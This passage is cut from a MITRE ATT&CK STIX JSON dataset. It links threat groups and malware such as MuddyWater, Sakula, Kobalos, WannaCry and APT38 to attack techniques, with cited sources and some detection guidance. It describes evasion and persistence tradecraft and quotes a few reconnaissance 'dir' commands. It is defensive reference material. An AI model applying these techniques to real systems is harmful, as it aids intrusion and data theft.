Bohannon’s Invoke-Obfuscation framework and obfuscated PowerShell scripts.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: GitHub Invoke-Obfuscation) The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c2fe9e9-cb7e-418a-84f1-9966854b4c27","created":"2022-04-18T17:14:18.193Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) has been installed using a .bat file.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-18T17:14:18.193Z","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.440Z","description":"[Sakula](https://attack.mitre.org/software/S0074) uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c365b61-0c14-41aa-b82a-052eb977062b","type":"relationship","created":"2021-08-24T22:12:46.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-12T12:59:03.406Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) replaced the SSH client with a trojanized SSH client to steal credentials on compromised systems.(Citation: ESET Kobalos Jan 2021)","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c390309-ad95-4015-b1c7-98608750b64e","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c3a903f-5934-48ec-84da-e88e0d1b4e68","type":"relationship","created":"2021-02-22T16:46:22.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-23T14:30:34.390Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can receive and load executables from remote C2 servers.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c3c9a95-98ee-4f60-8291-c4c34347adb6","type":"relationship","created":"2020-03-19T18:17:25.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T18:17:25.951Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c45d533-4299-47a0-9a3b-7085c219ba6a","created":"2022-06-03T14:49:39.536Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use use IPv4 A records and IPv6 AAAA DNS records in C2 communications.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:52:06.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c46f9a0-fb83-473d-af9a-c1c98cfdd85b","type":"relationship","created":"2020-06-19T19:08:40.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-19T19:08:40.409Z","description":"[Valak](https://attack.mitre.org/software/S0476) can gather information regarding the user.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-17T02:38:06.477Z","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of gathering system information.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c56206f-8ae3-4296-ab89-bc2036b74896","type":"relationship","created":"2019-03-26T13:38:24.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"},{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.394Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c5d1d00-1a0a-4315-9da4-2beb5f00793b","created":"2022-08-24T15:46:00.025Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has used compromised domains to host its malicious payloads.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:46:00.025Z","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5c60473c-6195-4aa1-ae10-394bb5f24cf1","created":"2021-11-29T20:02:51.376Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) can use CVE-2017-15303 to bypass Windows Driver Signature Enforcement (DSE) protection and load its driver.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:35:08.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c6230da-a47d-435f-9836-49648f03e76e","created":"2023-02-16T16:42:57.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:18:07.990Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066)'s payload has been renamed `PowerShellInfo.exe`.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c6b16c7-9977-4d40-b0df-75eecf350298","created":"2023-10-02T17:19:49.632Z","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T17:19:49.632Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used scheduled tasks names such as `acrotyr` and `AppServicesr` to mimic the same names in a compromised network's `C:\\Windows` directory.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c6b1a1d-9ab4-47de-a8a8-ef7d5b131533","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for newly constructed services/daemons that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-19T22:25:13.979Z","description":"[Cachedump](https://attack.mitre.org/software/S0119) can extract cached password hashes from cache entry information.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c6dfc28-fa7c-4941-a144-890a428f9951","created":"2022-08-11T22:34:41.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T20:00:16.174Z","description":"[DCSrv](https://attack.mitre.org/software/S1033) can compare the current time on an infected host with a configuration value to determine when to start the encryption process.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c6ec6a7-6f15-4704-a16b-4bfd793a271e","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c736aad-9847-4059-9d1e-dc2f551952d0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-17T16:30:48.445Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can interact with a victim’s Outlook session and look through folders and emails.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c738353-868a-4e4d-8628-e1d14e502980","type":"relationship","created":"2019-10-07T19:05:49.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.101Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has used dir to search for \"programfiles\" and \"appdata\".(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c75f4e0-27ab-45d0-b8bc-3991137bdb87","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:08:53.458Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has obfuscated a script with Crypto Obfuscator.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c7716d2-cf4b-43cd-a544-0c94ebf69e23","type":"relationship","created":"2021-09-29T22:24:15.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.706Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c7bb53e-d396-4b7e-a925-4a928acc0762","type":"relationship","created":"2020-11-09T14:52:45.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.773Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has come signed with revoked certificates.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.575Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about files and directories: dir c:\\ >> %temp%\\download dir \"c:\\Documents and Settings\" >> %temp%\\download dir \"c:\\Program Files\\\" >> %temp%\\download dir d:\\ >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c84cfe2-a395-47c6-831a-4491f8585a00","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-20T00:00:56.860Z","description":"A module in [Prikormka](https://attack.mitre.org/software/S0113) collects passwords stored in applications installed on the victim.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.459Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a directory listing for a specified directory.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c859db1-13ba-4bf8-a8d3-7fd99e061c45","type":"relationship","created":"2020-05-22T20:27:31.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.553Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to steal data from the clipboard.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c8cea6d-46d9-4a66-a23e-047dd02f756b","type":"relationship","created":"2020-02-20T15:31:43.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-EU DDoS March 